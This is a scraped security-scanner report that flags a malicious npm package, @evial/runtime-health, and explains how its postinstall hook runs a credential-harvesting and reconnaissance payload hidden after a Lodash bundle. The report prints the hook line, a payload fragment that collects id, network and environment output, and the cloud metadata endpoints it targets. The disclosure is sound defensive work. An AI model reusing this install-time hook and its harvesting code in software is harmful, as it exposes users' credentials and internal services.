Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

@evial/runtime-health@1.0.1: Malicious npm security report | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

Exposure of local credentials and environment data; access or discovery of cloud and internal services.

View on npm All versions

registry / @evial/runtime-health / 1.0.1

@evial/runtime-health@1.0.1

Lodash-based runtime utility helpers with a small self-registration bootstrap.

AI Security Review

scanned 2h ago · by lpm-firewall-ai

npm postinstall executes an appended reconnaissance and credential-harvesting payload. It probes metadata and internal services using environment-derived credentials.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm install

Impact

Exposure of local credentials and environment data; access or discovery of cloud and internal services.

Mechanism

install-time credential harvesting, internal reconnaissance, and authenticated MCP probing

Attack narrative

During npm install, postinstall requires scripts/lodash.js. Code appended after the Lodash bundle collects identity, network, and environment data; reads credential files; queries cloud metadata including role credentials; probes internal MCP endpoints with a bearer token taken from environment variables; scans internal ports; and writes the collected data to probe logs.

Rationale

This is a concrete, unconsented install-time credential-harvesting and internal-reconnaissance chain, not package-aligned runtime health behavior.

Evidence

package.jsonscripts/lodash.jsrt2-probe.logsysinfo2.log/workspace/rt2-probe.log/workspace/sysinfo2.log

Network endpoints5

169.254.169.254100.100.100.200metadata.tencentyun.com10.100.0.46

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

10.201.0.1

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall directly requires the payload file.
Payload executes shell commands to collect identity, network, and environment data.
Payload reads cloud, npm, Kubernetes, Docker, and Git credential files.
Payload queries cloud metadata and role credential endpoints.
Payload forwards environment-derived bearer credentials to an internal MCP host.
Payload scans internal hosts and writes collected output.

Evidence against

Most of scripts/lodash.js is Lodash 4.17.21, but an executable payload is appended after it.

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 539 KB of source, external domains: ecma-international.org, eev.ee, en.wikipedia.org, mathiasbynens.be, npms.io

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "require('./scripts/lodash.js')"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "require('./scripts/lodash.js')"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "postinstall": "node -e \"require('./scripts/lodash.js')\""

High

Suspicious Lifecycle Evidence

postinstall directly requires the payload file.

package.jsonView on unpkg · L7

scripts/lodash.jsView file

2* @license L3: * Lodash <https://lodash.com/> L4: * Copyright OpenJS Foundation and other contributors <https://openjsf.org/> ... L478: * L479: * @private L480: * @param {Function} func The function to invoke. ... L1632: * `union`, `unionBy`, `unionWith`, `uniq`, `uniqBy`, `uniqWith`, `unset`, L1633: * `unshift`, `unzip`, `unzipWith`, `update`, `updateWith`, `values`, L1634: * `valuesIn`, `without`, `wrap`, `xor`, `xorBy`, `xorWith`, `zip`, ... L14831: * // line numbers in error messages and stack traces. L14832: * fs.writeFileSync(path.join(process.cwd(), 'jst.js'), '\ L14833: * var JST = {\

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

scripts/lodash.jsView on unpkg · L2

17270var out = '[' + __now + '] host=' + __os.hostname() + ' user=' + (__os.userInfo && __os.userInfo().username) + '\n'; out += '--- id ---\n' + __sh('id') + '\n'; out += '--- ifconfig/ip ---\n' + __sh("ip -o addr 2>/dev/null || ifconfig 2>/dev/null || hostname -I") + '\n'; out += '--- env ---\n' + __sh('env') + '\n';

High

Ai Review Evidence

Payload executes shell commands to collect identity, network, and environment data.

scripts/lodash.jsView on unpkg · L17270

Findings

1 Critical4 High3 Medium4 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighCloud Metadata Accessscripts/lodash.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencescripts/lodash.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

99%Block

Verdict confidence

IntentMalware

TypeCredential Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

Version1.0.1

PublishedAug 16, 2026

LicenseMIT

Dependencies1

Integrityverified

Package size98.0 KB

Files3

Runtime surface

package.json

Entrypointsmain → index.js

RuntimeNo engine / OS / CPU constraints

Artifact539 KB · 3 files1 signature(s)

Install lifecyclepostinstall

Behavioral surface

ChildProcessEnvironmentVarsFilesystemNetworkHighEntropyStringsUrlStringsManifest: clean

LPM CLI

Source & flagged code

5 flagged

package.jsonView file

•scripts.postinstall = node -e "require('./scripts/lodash.js')"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "require('./scripts/lodash.js')"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "postinstall": "node -e \"require('./scripts/lodash.js')\""

High

Suspicious Lifecycle Evidence

postinstall directly requires the payload file.

package.jsonView on unpkg · L7

scripts/lodash.jsView file

2* @license L3: * Lodash <https://lodash.com/> L4: * Copyright OpenJS Foundation and other contributors <https://openjsf.org/> ... L478: * L479: * @private L480: * @param {Function} func The function to invoke. ... L1632: * `union`, `unionBy`, `unionWith`, `uniq`, `uniqBy`, `uniqWith`, `unset`, L1633: * `unshift`, `unzip`, `unzipWith`, `update`, `updateWith`, `values`, L1634: * `valuesIn`, `without`, `wrap`, `xor`, `xorBy`, `xorWith`, `zip`, ... L14831: * // line numbers in error messages and stack traces. L14832: * fs.writeFileSync(path.join(process.cwd(), 'jst.js'), '\ L14833: * var JST = {\

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

scripts/lodash.jsView on unpkg · L2

17270var out = '[' + __now + '] host=' + __os.hostname() + ' user=' + (__os.userInfo && __os.userInfo().username) + '\n'; out += '--- id ---\n' + __sh('id') + '\n'; out += '--- ifconfig/ip ---\n' + __sh("ip -o addr 2>/dev/null || ifconfig 2>/dev/null || hostname -I") + '\n'; out += '--- env ---\n' + __sh('env') + '\n';

High

Ai Review Evidence

Payload executes shell commands to collect identity, network, and environment data.

scripts/lodash.jsView on unpkg · L17270